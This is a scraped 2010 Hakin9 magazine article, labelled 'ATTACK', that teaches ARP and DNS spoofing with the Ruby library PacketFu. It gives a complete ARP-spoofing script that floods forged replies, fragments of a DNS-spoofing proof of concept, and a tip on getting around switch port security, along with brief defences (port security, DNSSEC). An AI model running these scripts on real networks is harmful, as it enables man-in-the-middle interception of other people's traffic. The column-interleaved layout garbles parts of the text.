SlideShare a Scribd company logo
ATTACK
                 Manipulating
                   KEITH LEE




                 The Network
Difficulty
                 with PacketFu
                               PacketFu is a mid level packet manipulation library written in
                               Ruby. The purpose of PacketFu was to make it easier for people
                               for crafting and manipulating network packets in Ruby.




                               T
                                      he PacketFu project was started in August             To learn about the format about the network
                                      2008 by Tod Breadsley from BreakingPoint        packets, you can read the request for comment (RFC)
                                      Systems. The reason for this project was        or if you are more of a practical type of person. You
                               that there wasn’t any easy to use packet crafting      could be running wireshark side along with some
                               and manipulation library for Ruby. PacketFu was        linux commands/tools to generate the network
                               built on top of PcabRub library..                      packets and capture/analyze the packets in wireshark
                                    PacketFu is currently included as a library       (that’s if the protocol is supported in wireshark).
                               inside Metasploit pentesting framework which                 For example, to understand what comprises
                               is extremely useful if you are planning to             of a dns request/response packet, you could
                               code custom networking related modules in              run nslookup and capture the request/response
                               metasploit.                                            packet with wireshark by listening passively on a
                                    The best way to use PacketFu is to run it in      wireless network interface (see Table 1).
                               Ubuntu or to download a copy of Backtrack 4. The             Let’s look at how an ARP spoof packet looks
                               next thing you should do is to checkout the latest     like in wireshark
                               svn release of PacketFu (see Figure 1).

                               ARP Spoofing with
                               PacketFu
                               In this exercise, we are going to learn
                               to how to create address resolution
                               protocol (ARP) spoofing packets and
                               also create domain name services
                               (DNS) spoofing packets with PacketFu.
                               ARP spoofing allows you to perform
                               a man in the middle (MITM) attack on
                               the target. Effectively, it is sending a ARP
WHAT YOU WILL                  packet to the target saying that the target
LEARN...
                               that your host computer is the gateway
How to craft packets in Ruby                                                Figure 2. Fields that incoming DNS responses are checked for
                               instead of the real gateway.
WHAT SHOULD YOU
KNOW...
Basics in programming          Figure 1. Checking out the SVN source for packetfu

32 HAKIN9 2/2010
MANIPULATING THE NETWORK WITH PACKETFU


     Under the Ethernet section of the ARP     target machine. That’s basically the only         PacketFu is currently not possible to
packet, you will find 3 fields (Destination,   checks that the client does. You do not       bind to an interface with an IP address.
Source and Type).                              need to spoof the sender IP address /         A chat with the author mentions that
     I have specified the Destination MAC      ethernet address in your DNS response         this might change in future. A current
address to be FF:FF:FF:FF:FF:FF                packet (see Figure 2).                        workaround that I am using is to use two
which is the broadcast address of the
                                               Table 1. Fields of ARP Packet as shown in Wireshark
network. That means that all computers
in the network will receive this ARP packet.    Ethernet II
Change this to the MAC address to the           Destination:                   Broadcast (ff:ff:ff:ff:ff:ff)
target computer if you want to be more          Source:                        11:22:33:44:55:66 (11:22:33:44:55:66)
                                                Type:                          ARP (0x0806)
specific.
     The source address would be that           Address Resolution
of the gateway and the type would be            Protocol
0x0806 in order for it to be classified as      Hardware Type:                 Ethernet (0x0001)
an ARP packet.                                  Protocol Type:                 IP (0x0800)
     The next few sections in Address           Hardware Size:                 6
                                                Protocol Size:                 4
Resolution Protocol (ARP) is pretty
                                                Opcode:                        Reply (0x0002)
standard with the exception of Opcode.                                         11:22:33:44:55:66 (11:22:33:44:55:66)
                                                Sender MAC Address:
You must specify a value of 0x0002              Sender IP Address:             10.7.3.1 (10.7.3.1)
for it to be a ARP reply instead of ARP         Target MAC Address:            Broadcast (FF:FF:FF:FF:FF:FF)
request packet. You would create an ARP         Target IP Address:             0.0.0.0
request packet (0x0001) if you would like
to know the MAC address of a certain           Table 2. Matching of between ARP packet fields and attributes in PacketFu
IP address in the network. Let’s now dive       Packet Structure as shown in Wireshark                         Attributes as used
into the coding portion of this exercise.                                                                      in PacketFu
The table shows the relevant attributes                                  Ethernet II
that we need to specify in PacketFu when        Destination: Broadcast (FF:FF:FF:FF:FF:FF)
defining the packet (see Table 2).              Source: 11:22:33:44:55:66                                      eth_daddr
                                                Type: ARP (0x0806)                                             eth_saddr
Defending Against ARP                                           Address Resolution Protocol
Spoofing In Your Network                        Hardware Type: Ethernet (0x0001)
It is possible to protect your users in         Protocol Type: IP (0x0800)
                                                Hardware Size: 6
the network against ARP spoofing by
                                                Protocol Size: 4
enable port security in the switch. Port        Opcode: Reply (0x0002)                                         arp   _   opcode
security makes it possible to make sure         Sender MAC Address: 11:22:33:44:55:66 (11:22:33:44:55:66)      arp   _   saddr _ mac
that there is only one Mac address              Sender IP Address: 10.7.3.1 (10.7.3.1)                         arp   _   saddr _ ip
behind each port of the switch. Some            Target MAC Address: Broadcast (FF:FF:FF:FF:FF:FF)              arp   _   daddr _ mac
switches do allow you to disable the            Target IP Address: 0.0.0.0                                     arp   _   daddr _ ip

port or/and alert you about the issue          Table 3. Source code for ARP Spoofing
via simple network management
                                                Line       Code
protocol (SNMP).
                                                1          #!/usr/bin/env ruby

Spoof DNS Replies to Client                     2          require ‘packetfu’
                                                3          $ipcfg = PacketFu::Utils.whoami?(:iface=>'eth0')
Hosts with PacketFu                             4          puts "ARP spoofing the network..."
In the next exercise, we will learn about       5          arp _ pkt = PacketFu::ARPPacket.new(:flavor => "Windows")
how to write your own DNS spoofing              6          arp _ pkt.eth _ saddr = "00:00:00:00:00:00"
script with PacketFu.                           7          arp _ pkt.eth _ daddr = "FF:FF:FF:FF:FF:FF"
     How do you work around this port           8          arp _ pkt.arp _ saddr _ mac = $ipcfg[:eth _ saddr]

security feature to attack the target user?     9          arp _ pkt.arp _ daddr _ mac = "FF:FF:FF:FF:FF"
                                                10         arp _ pkt.arp _ saddr _ ip = '192.168.1.1'
One method is to use DNS spoofing.
                                                11         arp _ pkt.arp _ daddr _ ip = "0.0.0.0"
     When the target sends out a DNS            12         arp _ pkt.arp _ opcode = 2
lookup request to DNS server, the               13         caught=false
first DNS response packet received              14         while caught==false do
matching the same transaction ID and            15             arp _ pkt.to _ w('eth0')
                                                16         end
source port will be accepted by the

                                                                                                                         2/2010 HAKIN9   33
ATTACK
                                                                  wireless network cards. One in monitor
                                                                  mode and another in managed mode.
                                                                  The traffic is redirected from the monitor
                                                                  interface mon0 to at0 using Airtun-ng. An
                                                                  IP address is set on at0 interface. The
                                                                  script is then bind to the at0 interface to
                                                                  capture packets.
                                                                       There are two functions which I will
                                                                  explain in the POC code shown below.
                                                                       The first function sniffDNSPacket()
                                                                  will parse each packet sniffed at the
                                                                  network interface.
                                                                       The second function
                                                                  generateSpoofPacket() will be called
                                                                  when it detects a DNS request packet.

                                                                  Parsing Packets with
                                                                  PacketFu
                                                                  Let’s look at how to perform packet
                                                                  parsing in PacketFu.
                                                                       The below code specifies the network
                                                                  interface to listen to. For the current version
                                                                  of PacketFu, the network interface must
                                                                  be bind to an IP address. If not, it will not
                                                                  work. We have specified the options below
                                                                  to start the capture process and to save
                                                                  the packets captured at the interface (see
                                                                  Figure 3).
                                                                       A filter is set to only capture packets
Figure 3. POC Source code for Client DNS Spoofing
                                                                  that match the criteria udp and port 53.
                                                                  If you have used wireshark before, this
                                                                  capture filter should be familiar to you.

                                                                  pkt_array = PacketFu::
                                                                    Capture.new(:iface => 'wlan0',
                                                                      :start => true, :filter =>
                                                                        'udp and port 53', :save=>true)


                                                                  Next, we iterate through each packets
                                                                  in the network packet stream captured
                                                                  at the interface. It checks to see if the
Figure 4. The payload in DNS query packet                         packet is empty. If the packet is not
                                                                  empty, we convert the character string
                                                                  representation of the packet back into a
                                                                  PacketFu packet.

                                                                  caught = false
                                                                  while caught==false do
                                                                    pkt_array.stream.each do |p|
                                                                        if PacketFu::Packet.has_data?
                                                                             pkt = PacketFu::
                                                                                          Packet.parse(p)


                                                                  As shown in the below wireshark
Figure 5. The transaction ID of DNS query packet in hexadecimal   screenshot. We have identified the data

34 HAKIN9 2/2010
MANIPULATING THE NETWORK WITH PACKETFU


portion (payload) of the DNS query. The           Table 4. Explains the source code listed in table 3
data portion is also known as the payload
                                                  Line 2      Imports the packetfu library.
in PacketFu (see Figure 4).
    In the below screen, I have highlighted                   PacketFu::Utils:whoami?(iface=>’eth0’) is a useful function which
the transaction ID, the information is            Line 3      allows you to get information about your network interface (e.g. MAC/IP
                                                              address)
stored in the first 2 bytes of the payload. In                All information about the network interface is stored in the hash $ipcfg[]
order to identify if it’s a DNS query, the next
                                                  Line 5      Defines an ARP packet with “windows” flavor. You can replace it with “linux”
variable would contain the information we
                                                              too
need. x01x00 (see Figure 5).
    In the below code, we extract the 3rd         Line 8      Source Ethernet Mac Address
                                                              (If you want to spoof it as packets send from the gateway. Change it to the
and 4th byte of the payload. Since the
                                                              MAC address of that of the gateway)
bytes are represented in hexadecimal                          Extract the host MAC address information from the hash $ipcfg[]
values, we need to change it to base=16.                      Other hash values that can be accessible from $ipcfg[] are : eth _ erc , :
                                                              ip _ saddr, :ip _ src , : eth _ dst and eth _ daddr
$dnsCount = pkt.payload[2].to_s(base
                =16)+pkt.payload[3].to_           Line 9      Destination MAC Address
                s(base=16)                                    (Enter the MAC address of the target computer. Enter FF:FF:FF:FF:FF:FF if
$domainName=""                                                you want to target any computers in the network)
if $dnsCount=='10'                                Line 10     ARP Packet Source IP Address
                                                  Line 11     ARP Packet Destination IP Address
The domain name queries starts at 13
byte of the payload. The13th byte specifies       Line 12     Specifies the Opcode of the ARP packet.
                                                              Opcode of 1 means ARP Request.
the length of the domain name before
                                                              Opcode of 2 means ARP Response
the dot com. The dot in front of the com
is represented by a x03. The end of the          Line 15     Using an infinite loop, arp spoof packets are sent to the eth0 interface
domain name string is terminated by a
                                                  Table 5. Table showing the list of DNS lookups
x00.
     The next 2 bytes refers to the type of        Type          Value         Description
the query. You can use the below table for         A             1             IP Address
reference. You will need to convert it to hex
values (Table 4).                                  NS            2             Name Server
     From the below code, the script reads         CNAME         5             Alias of a domain name
each byte of the payload from the 13 byte
until it hits a x00 which it terminates. We       PTR           12            Reverse DNS Lookup using the IP Address
convert the hex value of the domain name           HINFO         13            Host Information
back into ASCII characters using the
                                                   MX            15            MX Record
.hex.chr function (see Figure 8).
     In the below code, we check to see            AXFR          252           Request for Zone Transfer
if the next 2 bytes in the payload after
                                                   ANY           255           Request for All Records
the terminator x00 of the domain name
contains a value of 1. If it does, we call
our function generateDNSResponse() to
send out a spoof DNS packet (see Figure
9, 10).

                                                  Figure 6. The domain name queried in DNS lookup as shown in the payload
Generating Spoofed DNS
Response
Next, we will move on to
generateDNSResponse() function.
    If you are converting a character
stream to binary, you will need to use the
pack(c*) function. The c word represents
a character and * means convert
everything in the array from character to
binary.                                           Figure 7. The type of DNS lookup. Type A refers to IP Address

                                                                                                                           2/2010 HAKIN9     35
ATTACK
                                                                                    Further Resources
                                                                                    •    PacketFu Google Code Site: http:
                                                                                         //code.google.com/p/packetfu/
                                                                                    •    Tod Breadsley’s Blog: http://www.planb-
                                                                                         security.net/
                                                                                    •    Backtrack 4 download link: http:
                                                                                         //www.remote-exploit.org/backtrack_
                                                                                         download.html
                                                                                    •    Metasploit Framework: http://
                                                                                         www.metasploit.com/


                                                                                        In the early part of the script,
                                                                                   $yourIPAddress is replaced with the fake
Figure 8. Code checks to see if its a DNS query packet and extracts domain name
queried                                                                            IP address of the domain you want the
                                                                                   client to be directed to.
                                                                                        The function .recalc recalculates all
                                                                                   fields for all headers in the packet and
                                                                                   generates the packet.
                                                                                        The function .to _ w writes to packet
                                                                                   to the interface wlan0 in this example (see
                                                                                   Figure 11).
Figure 9. Code that parse the DNS query packet and injects response if DNS query        For the transaction ID, it is represented
type is A                                                                          in 2 bytes of hexadecimal values (e.g.
                                                                                   01FF). In order to write the values x01
                                                                                   xFF directly inside the payload of the DNS
                                                                                   response, you need to parse the values
                                                                                   thru the function . hex.chr.
                                                                                        That is basically how the POC script
                                                                                   works.

                                                                                   Defending Against Client
Figure 10. Type of DNS query is expressed in this portion of the payload           DNS Spoofing Attack
                                                                                   So how do you defend against this type of
                                                                                   client DNS spoofing attack? DNS security
                                                                                   (DNSSEC) adds origin authentication and
                                                                                   integrity. This makes it possible for client to
                                                                                   verify DNS responses.
                                                                                       DNSSEC is currently supported
                                                                                   in Windows Server 2008 R2 (Server
                                                                                   and Client) and Windows 7 (Client). For
                                                                                   more information on using DNSSEC in
                                                                                   Windows environment, check out http:
                                                                                   //technet.microsoft.com/en-us/library/ee6
                                                                                   49277%28WS.10%29.aspx.
                                                                                       It is indeed very easy to get started
                                                                                   with PacketFu. Give it a try and you won’t
Figure 11. xxxxxxxx                                                                regret it by its ease of use.




                                                                                   Keith Lee
                                                                                   You can reach me by the below means:
                                                                                   Email: keith.lee2012[at]gmail.com
                                                                                   Twitter: @keith55
Figure 12. The transaction                                                         Blog: http://milo2012.wordpress.com


36 HAKIN9 2/2010

More Related Content

PDF
Basics of firewall, ebtables, arptables and iptables
PPT
Lecture1, TCP/IP
DOCX
Creating a firewall in UBUNTU
PDF
Leonardo Nve Egea - Playing in a Satellite Environment 1.2
PPT
6.Routing
PDF
Ospfv3 News version 2
PDF
Fun with PRB, VRFs and NetNS on Linux - What is it, how does it work, what ca...
ODP
Sockets and Socket-Buffer
Basics of firewall, ebtables, arptables and iptables
Lecture1, TCP/IP
Creating a firewall in UBUNTU
Leonardo Nve Egea - Playing in a Satellite Environment 1.2
6.Routing
Ospfv3 News version 2
Fun with PRB, VRFs and NetNS on Linux - What is it, how does it work, what ca...
Sockets and Socket-Buffer

What's hot (20)

PDF
Dynamische Routingprotokolle Aufzucht und Pflege - OSPF
PPTX
Bluetooth
PPTX
Вопросы балансировки трафика
PPTX
APNIC Hackathon IPv4 & IPv6 security & threat comparisons
PPTX
Netmap presentation
PPTX
IP/LDP fast protection schemes
PPT
internetworking operation
PDF
ScavengerEXA
PDF
Linux Bridging: Teaching an old dog new tricks
PPTX
Networking in linux
PDF
Naked BGP
PPT
Exploiting Network Protocols To Exhaust Bandwidth Links 2008 Final
ODP
LinuxCon2009: 10Gbit/s Bi-Directional Routing on standard hardware running Linux
PDF
ディープニューラルネットワーク向け拡張可能な高位合成コンパイラの開発
PDF
Recent advance in netmap/VALE(mSwitch)
PPT
network security
PDF
Ipv6 cheat sheet
PDF
Npppd: easy vpn with OpenBSD
PDF
Userspace networking
PPT
Tunnel & vpn1
Dynamische Routingprotokolle Aufzucht und Pflege - OSPF
Bluetooth
Вопросы балансировки трафика
APNIC Hackathon IPv4 & IPv6 security & threat comparisons
Netmap presentation
IP/LDP fast protection schemes
internetworking operation
ScavengerEXA
Linux Bridging: Teaching an old dog new tricks
Networking in linux
Naked BGP
Exploiting Network Protocols To Exhaust Bandwidth Links 2008 Final
LinuxCon2009: 10Gbit/s Bi-Directional Routing on standard hardware running Linux
ディープニューラルネットワーク向け拡張可能な高位合成コンパイラの開発
Recent advance in netmap/VALE(mSwitch)
network security
Ipv6 cheat sheet
Npppd: easy vpn with OpenBSD
Userspace networking
Tunnel & vpn1
Ad

Viewers also liked (6)

PDF
Nmap2Nessus Presentation Slides at Black Hat Asia Arsenal 2015
PDF
Silicon Brochure July 2011
PPTX
BNAT Hijacking: Repairing Broken Communication Channels
PDF
Manipulating the Network with PacketFu
PDF
metasploitHelper - Spiderlabs
PDF
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
Nmap2Nessus Presentation Slides at Black Hat Asia Arsenal 2015
Silicon Brochure July 2011
BNAT Hijacking: Repairing Broken Communication Channels
Manipulating the Network with PacketFu
metasploitHelper - Spiderlabs
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
Ad

Similar to Manipulating the network with packet fu (20)

PPT
Arp and rarp
PDF
Networking.pdf
PPT
Arp spoofing
PDF
Uccn1003 -may10_-_lab_07_-_intro_to_protocols_in_packet_tracer
PPT
ARP.ppt
PPT
Sniffing in a Switched Network
DOCX
84486335 address-resolution-protocol-case-study
PPT
Address resolution protocol
PPT
Address resolution protocol and internet control message protocol
PPTX
Address resolution protocol (ARP)
PPT
3.Network
PPTX
presentation of first program exist.pptx
PDF
IPv6 Fundamentals
PDF
IPv6 Fundamentals & Securities
PPT
Arp and rarp
PDF
Communication networks_ARP
PDF
Arp config-arp
PPTX
Os detection with arp
PPT
PDF
Layer2&arp
Arp and rarp
Networking.pdf
Arp spoofing
Uccn1003 -may10_-_lab_07_-_intro_to_protocols_in_packet_tracer
ARP.ppt
Sniffing in a Switched Network
84486335 address-resolution-protocol-case-study
Address resolution protocol
Address resolution protocol and internet control message protocol
Address resolution protocol (ARP)
3.Network
presentation of first program exist.pptx
IPv6 Fundamentals
IPv6 Fundamentals & Securities
Arp and rarp
Communication networks_ARP
Arp config-arp
Os detection with arp
Layer2&arp

Recently uploaded (20)

PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PPT
Teaching material agriculture food technology
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Encapsulation theory and applications.pdf
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PPTX
Big Data Technologies - Introduction.pptx
PDF
Empathic Computing: Creating Shared Understanding
PDF
KodekX | Application Modernization Development
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
Review of recent advances in non-invasive hemoglobin estimation
Diabetes mellitus diagnosis method based random forest with bat algorithm
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Teaching material agriculture food technology
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Encapsulation theory and applications.pdf
NewMind AI Weekly Chronicles - August'25 Week I
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Understanding_Digital_Forensics_Presentation.pptx
“AI and Expert System Decision Support & Business Intelligence Systems”
MIND Revenue Release Quarter 2 2025 Press Release
Big Data Technologies - Introduction.pptx
Empathic Computing: Creating Shared Understanding
KodekX | Application Modernization Development
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Mobile App Security Testing_ A Comprehensive Guide.pdf
Encapsulation_ Review paper, used for researhc scholars
Dropbox Q2 2025 Financial Results & Investor Presentation
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Per capita expenditure prediction using model stacking based on satellite ima...
Review of recent advances in non-invasive hemoglobin estimation

Manipulating the network with packet fu

  • 1. ATTACK Manipulating KEITH LEE The Network Difficulty with PacketFu PacketFu is a mid level packet manipulation library written in Ruby. The purpose of PacketFu was to make it easier for people for crafting and manipulating network packets in Ruby. T he PacketFu project was started in August To learn about the format about the network 2008 by Tod Breadsley from BreakingPoint packets, you can read the request for comment (RFC) Systems. The reason for this project was or if you are more of a practical type of person. You that there wasn’t any easy to use packet crafting could be running wireshark side along with some and manipulation library for Ruby. PacketFu was linux commands/tools to generate the network built on top of PcabRub library.. packets and capture/analyze the packets in wireshark PacketFu is currently included as a library (that’s if the protocol is supported in wireshark). inside Metasploit pentesting framework which For example, to understand what comprises is extremely useful if you are planning to of a dns request/response packet, you could code custom networking related modules in run nslookup and capture the request/response metasploit. packet with wireshark by listening passively on a The best way to use PacketFu is to run it in wireless network interface (see Table 1). Ubuntu or to download a copy of Backtrack 4. The Let’s look at how an ARP spoof packet looks next thing you should do is to checkout the latest like in wireshark svn release of PacketFu (see Figure 1). ARP Spoofing with PacketFu In this exercise, we are going to learn to how to create address resolution protocol (ARP) spoofing packets and also create domain name services (DNS) spoofing packets with PacketFu. ARP spoofing allows you to perform a man in the middle (MITM) attack on the target. Effectively, it is sending a ARP WHAT YOU WILL packet to the target saying that the target LEARN... that your host computer is the gateway How to craft packets in Ruby Figure 2. Fields that incoming DNS responses are checked for instead of the real gateway. WHAT SHOULD YOU KNOW... Basics in programming Figure 1. Checking out the SVN source for packetfu 32 HAKIN9 2/2010
  • 2. MANIPULATING THE NETWORK WITH PACKETFU Under the Ethernet section of the ARP target machine. That’s basically the only PacketFu is currently not possible to packet, you will find 3 fields (Destination, checks that the client does. You do not bind to an interface with an IP address. Source and Type). need to spoof the sender IP address / A chat with the author mentions that I have specified the Destination MAC ethernet address in your DNS response this might change in future. A current address to be FF:FF:FF:FF:FF:FF packet (see Figure 2). workaround that I am using is to use two which is the broadcast address of the Table 1. Fields of ARP Packet as shown in Wireshark network. That means that all computers in the network will receive this ARP packet. Ethernet II Change this to the MAC address to the Destination: Broadcast (ff:ff:ff:ff:ff:ff) target computer if you want to be more Source: 11:22:33:44:55:66 (11:22:33:44:55:66) Type: ARP (0x0806) specific. The source address would be that Address Resolution of the gateway and the type would be Protocol 0x0806 in order for it to be classified as Hardware Type: Ethernet (0x0001) an ARP packet. Protocol Type: IP (0x0800) The next few sections in Address Hardware Size: 6 Protocol Size: 4 Resolution Protocol (ARP) is pretty Opcode: Reply (0x0002) standard with the exception of Opcode. 11:22:33:44:55:66 (11:22:33:44:55:66) Sender MAC Address: You must specify a value of 0x0002 Sender IP Address: 10.7.3.1 (10.7.3.1) for it to be a ARP reply instead of ARP Target MAC Address: Broadcast (FF:FF:FF:FF:FF:FF) request packet. You would create an ARP Target IP Address: 0.0.0.0 request packet (0x0001) if you would like to know the MAC address of a certain Table 2. Matching of between ARP packet fields and attributes in PacketFu IP address in the network. Let’s now dive Packet Structure as shown in Wireshark Attributes as used into the coding portion of this exercise. in PacketFu The table shows the relevant attributes Ethernet II that we need to specify in PacketFu when Destination: Broadcast (FF:FF:FF:FF:FF:FF) defining the packet (see Table 2). Source: 11:22:33:44:55:66 eth_daddr Type: ARP (0x0806) eth_saddr Defending Against ARP Address Resolution Protocol Spoofing In Your Network Hardware Type: Ethernet (0x0001) It is possible to protect your users in Protocol Type: IP (0x0800) Hardware Size: 6 the network against ARP spoofing by Protocol Size: 4 enable port security in the switch. Port Opcode: Reply (0x0002) arp _ opcode security makes it possible to make sure Sender MAC Address: 11:22:33:44:55:66 (11:22:33:44:55:66) arp _ saddr _ mac that there is only one Mac address Sender IP Address: 10.7.3.1 (10.7.3.1) arp _ saddr _ ip behind each port of the switch. Some Target MAC Address: Broadcast (FF:FF:FF:FF:FF:FF) arp _ daddr _ mac switches do allow you to disable the Target IP Address: 0.0.0.0 arp _ daddr _ ip port or/and alert you about the issue Table 3. Source code for ARP Spoofing via simple network management Line Code protocol (SNMP). 1 #!/usr/bin/env ruby Spoof DNS Replies to Client 2 require ‘packetfu’ 3 $ipcfg = PacketFu::Utils.whoami?(:iface=>'eth0') Hosts with PacketFu 4 puts "ARP spoofing the network..." In the next exercise, we will learn about 5 arp _ pkt = PacketFu::ARPPacket.new(:flavor => "Windows") how to write your own DNS spoofing 6 arp _ pkt.eth _ saddr = "00:00:00:00:00:00" script with PacketFu. 7 arp _ pkt.eth _ daddr = "FF:FF:FF:FF:FF:FF" How do you work around this port 8 arp _ pkt.arp _ saddr _ mac = $ipcfg[:eth _ saddr] security feature to attack the target user? 9 arp _ pkt.arp _ daddr _ mac = "FF:FF:FF:FF:FF" 10 arp _ pkt.arp _ saddr _ ip = '192.168.1.1' One method is to use DNS spoofing. 11 arp _ pkt.arp _ daddr _ ip = "0.0.0.0" When the target sends out a DNS 12 arp _ pkt.arp _ opcode = 2 lookup request to DNS server, the 13 caught=false first DNS response packet received 14 while caught==false do matching the same transaction ID and 15 arp _ pkt.to _ w('eth0') 16 end source port will be accepted by the 2/2010 HAKIN9 33
  • 3. ATTACK wireless network cards. One in monitor mode and another in managed mode. The traffic is redirected from the monitor interface mon0 to at0 using Airtun-ng. An IP address is set on at0 interface. The script is then bind to the at0 interface to capture packets. There are two functions which I will explain in the POC code shown below. The first function sniffDNSPacket() will parse each packet sniffed at the network interface. The second function generateSpoofPacket() will be called when it detects a DNS request packet. Parsing Packets with PacketFu Let’s look at how to perform packet parsing in PacketFu. The below code specifies the network interface to listen to. For the current version of PacketFu, the network interface must be bind to an IP address. If not, it will not work. We have specified the options below to start the capture process and to save the packets captured at the interface (see Figure 3). A filter is set to only capture packets Figure 3. POC Source code for Client DNS Spoofing that match the criteria udp and port 53. If you have used wireshark before, this capture filter should be familiar to you. pkt_array = PacketFu:: Capture.new(:iface => 'wlan0', :start => true, :filter => 'udp and port 53', :save=>true) Next, we iterate through each packets in the network packet stream captured at the interface. It checks to see if the Figure 4. The payload in DNS query packet packet is empty. If the packet is not empty, we convert the character string representation of the packet back into a PacketFu packet. caught = false while caught==false do pkt_array.stream.each do |p| if PacketFu::Packet.has_data? pkt = PacketFu:: Packet.parse(p) As shown in the below wireshark Figure 5. The transaction ID of DNS query packet in hexadecimal screenshot. We have identified the data 34 HAKIN9 2/2010
  • 4. MANIPULATING THE NETWORK WITH PACKETFU portion (payload) of the DNS query. The Table 4. Explains the source code listed in table 3 data portion is also known as the payload Line 2 Imports the packetfu library. in PacketFu (see Figure 4). In the below screen, I have highlighted PacketFu::Utils:whoami?(iface=>’eth0’) is a useful function which the transaction ID, the information is Line 3 allows you to get information about your network interface (e.g. MAC/IP address) stored in the first 2 bytes of the payload. In All information about the network interface is stored in the hash $ipcfg[] order to identify if it’s a DNS query, the next Line 5 Defines an ARP packet with “windows” flavor. You can replace it with “linux” variable would contain the information we too need. x01x00 (see Figure 5). In the below code, we extract the 3rd Line 8 Source Ethernet Mac Address (If you want to spoof it as packets send from the gateway. Change it to the and 4th byte of the payload. Since the MAC address of that of the gateway) bytes are represented in hexadecimal Extract the host MAC address information from the hash $ipcfg[] values, we need to change it to base=16. Other hash values that can be accessible from $ipcfg[] are : eth _ erc , : ip _ saddr, :ip _ src , : eth _ dst and eth _ daddr $dnsCount = pkt.payload[2].to_s(base =16)+pkt.payload[3].to_ Line 9 Destination MAC Address s(base=16) (Enter the MAC address of the target computer. Enter FF:FF:FF:FF:FF:FF if $domainName="" you want to target any computers in the network) if $dnsCount=='10' Line 10 ARP Packet Source IP Address Line 11 ARP Packet Destination IP Address The domain name queries starts at 13 byte of the payload. The13th byte specifies Line 12 Specifies the Opcode of the ARP packet. Opcode of 1 means ARP Request. the length of the domain name before Opcode of 2 means ARP Response the dot com. The dot in front of the com is represented by a x03. The end of the Line 15 Using an infinite loop, arp spoof packets are sent to the eth0 interface domain name string is terminated by a Table 5. Table showing the list of DNS lookups x00. The next 2 bytes refers to the type of Type Value Description the query. You can use the below table for A 1 IP Address reference. You will need to convert it to hex values (Table 4). NS 2 Name Server From the below code, the script reads CNAME 5 Alias of a domain name each byte of the payload from the 13 byte until it hits a x00 which it terminates. We PTR 12 Reverse DNS Lookup using the IP Address convert the hex value of the domain name HINFO 13 Host Information back into ASCII characters using the MX 15 MX Record .hex.chr function (see Figure 8). In the below code, we check to see AXFR 252 Request for Zone Transfer if the next 2 bytes in the payload after ANY 255 Request for All Records the terminator x00 of the domain name contains a value of 1. If it does, we call our function generateDNSResponse() to send out a spoof DNS packet (see Figure 9, 10). Figure 6. The domain name queried in DNS lookup as shown in the payload Generating Spoofed DNS Response Next, we will move on to generateDNSResponse() function. If you are converting a character stream to binary, you will need to use the pack(c*) function. The c word represents a character and * means convert everything in the array from character to binary. Figure 7. The type of DNS lookup. Type A refers to IP Address 2/2010 HAKIN9 35
  • 5. ATTACK Further Resources • PacketFu Google Code Site: http: //code.google.com/p/packetfu/ • Tod Breadsley’s Blog: http://www.planb- security.net/ • Backtrack 4 download link: http: //www.remote-exploit.org/backtrack_ download.html • Metasploit Framework: http:// www.metasploit.com/ In the early part of the script, $yourIPAddress is replaced with the fake Figure 8. Code checks to see if its a DNS query packet and extracts domain name queried IP address of the domain you want the client to be directed to. The function .recalc recalculates all fields for all headers in the packet and generates the packet. The function .to _ w writes to packet to the interface wlan0 in this example (see Figure 11). Figure 9. Code that parse the DNS query packet and injects response if DNS query For the transaction ID, it is represented type is A in 2 bytes of hexadecimal values (e.g. 01FF). In order to write the values x01 xFF directly inside the payload of the DNS response, you need to parse the values thru the function . hex.chr. That is basically how the POC script works. Defending Against Client Figure 10. Type of DNS query is expressed in this portion of the payload DNS Spoofing Attack So how do you defend against this type of client DNS spoofing attack? DNS security (DNSSEC) adds origin authentication and integrity. This makes it possible for client to verify DNS responses. DNSSEC is currently supported in Windows Server 2008 R2 (Server and Client) and Windows 7 (Client). For more information on using DNSSEC in Windows environment, check out http: //technet.microsoft.com/en-us/library/ee6 49277%28WS.10%29.aspx. It is indeed very easy to get started with PacketFu. Give it a try and you won’t Figure 11. xxxxxxxx regret it by its ease of use. Keith Lee You can reach me by the below means: Email: keith.lee2012[at]gmail.com Twitter: @keith55 Figure 12. The transaction Blog: http://milo2012.wordpress.com 36 HAKIN9 2/2010